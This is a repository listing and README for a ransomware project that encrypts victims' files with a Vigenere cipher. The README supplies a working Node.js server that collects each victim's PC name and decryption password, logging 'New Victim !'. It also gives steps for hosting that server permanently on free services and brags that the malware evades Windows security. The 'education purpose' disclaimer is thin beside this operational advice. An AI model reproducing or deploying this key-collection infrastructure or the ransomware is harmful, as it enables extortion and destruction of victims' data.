https://github.com/revenge977/revenge-ransomeware
a vigenere algorithm encrypt ransomeware created by me :p, for education purpose.
https://github.com/revenge977/revenge-ransomeware
algorithm cipher crypt crypto crypto-locker cryptolocker encrypt goldeneye hidden-tear hiddentear malware ransac-algorithm ransomeware ransomewarevigenere revenge revenge-ransomeware revengeransomeware vigenere wannacry wannacry-ransomware
Last synced: about 2 months ago
JSON representation
a vigenere algorithm encrypt ransomeware created by me :p, for education purpose.
- Host: GitHub
- URL: https://github.com/revenge977/revenge-ransomeware
- Owner: REVENGE977
- License: mit
- Created: 2020-05-23T18:32:08.000Z (almost 5 years ago)
- Default Branch: master
- Last Pushed: 2020-11-16T20:18:32.000Z (over 4 years ago)
- Last Synced: 2025-03-18T21:11:19.062Z (2 months ago)
- Topics: algorithm, cipher, crypt, crypto, crypto-locker, cryptolocker, encrypt, goldeneye, hidden-tear, hiddentear, malware, ransac-algorithm, ransomeware, ransomewarevigenere, revenge, revenge-ransomeware, revengeransomeware, vigenere, wannacry, wannacry-ransomware
- Language: C#
- Homepage:
- Size: 66.4 KB
- Stars: 40
- Watchers: 6
- Forks: 10
- Open Issues: 2
-
Metadata Files:
- Readme: README.md
- License: LICENSE
Awesome Lists containing this project
README
# REVENGE RANSOMEWARE
a vigenere encrypt ransomeware created by me :p, for education purpose.
**MAKE SURE TO STAR THE REPOSITORY :)**# Used Algorithm
- Vigenere (which is strong algorithm)# DISCLAIMER
i didnt try this fully, so try it on virtual machine to make sure it works perfectly, If you encounter any problems tell me in [issues](https://github.com/Bowlingtoolkit/Vigenere-Ransomeware/issues)
also **i created this only for education purposes**,
also windows security **wont** detect this ransomeware :)# Express Node.js Server (To Get The Password For Decrypt) Example:
```js
const express = require("express");
const bodyParser = require("body-parser");
const fs = require("fs");
const app = express();app.use(express.static(__dirname + "/public"));
app.use(bodyParser.json())
//url.com/new
app.post('/new', (req, res) => {
var pcname = req.body.user;
var password = req.body.pass;var createStream = fs.createWriteStream(`public/${pcname}.txt`);
createStream.end();
fs.writeFile(`./public/${pcname}.txt`, `password=${password}`, (err) => {
if(err) return console.log(err);
console.log("New Victim !")
});
res.send("done")
})const listener = app.listen(3000, () => {
console.log("Your app is listening on port 3000");
});
```
- You can use [glitch.com](https://glitch.com) or [repl.it](https://repl.it/) to create projects to get the decrypt password, if you want fresh project [click here for fresh glitch.com project](https://glitch.com/edit/#!/remix/revenge-ransome) [or here for repl.it project](https://repl.it/repls/SuperiorCarefulScreenscraper), but make sure to make the project 24/7 by using service like [uptimerobot](https://uptimerobot.com/).# Detection
15/72
[Virustotal Scan Result](https://www.virustotal.com/gui/file/b74d62a432a9011e2d2c8cf16790a21bd0253ba5d5df09c08e993020985ddc1c/detection)
# Change Log:
- Now includes the decryption software :)
- Now supports encrypting folders .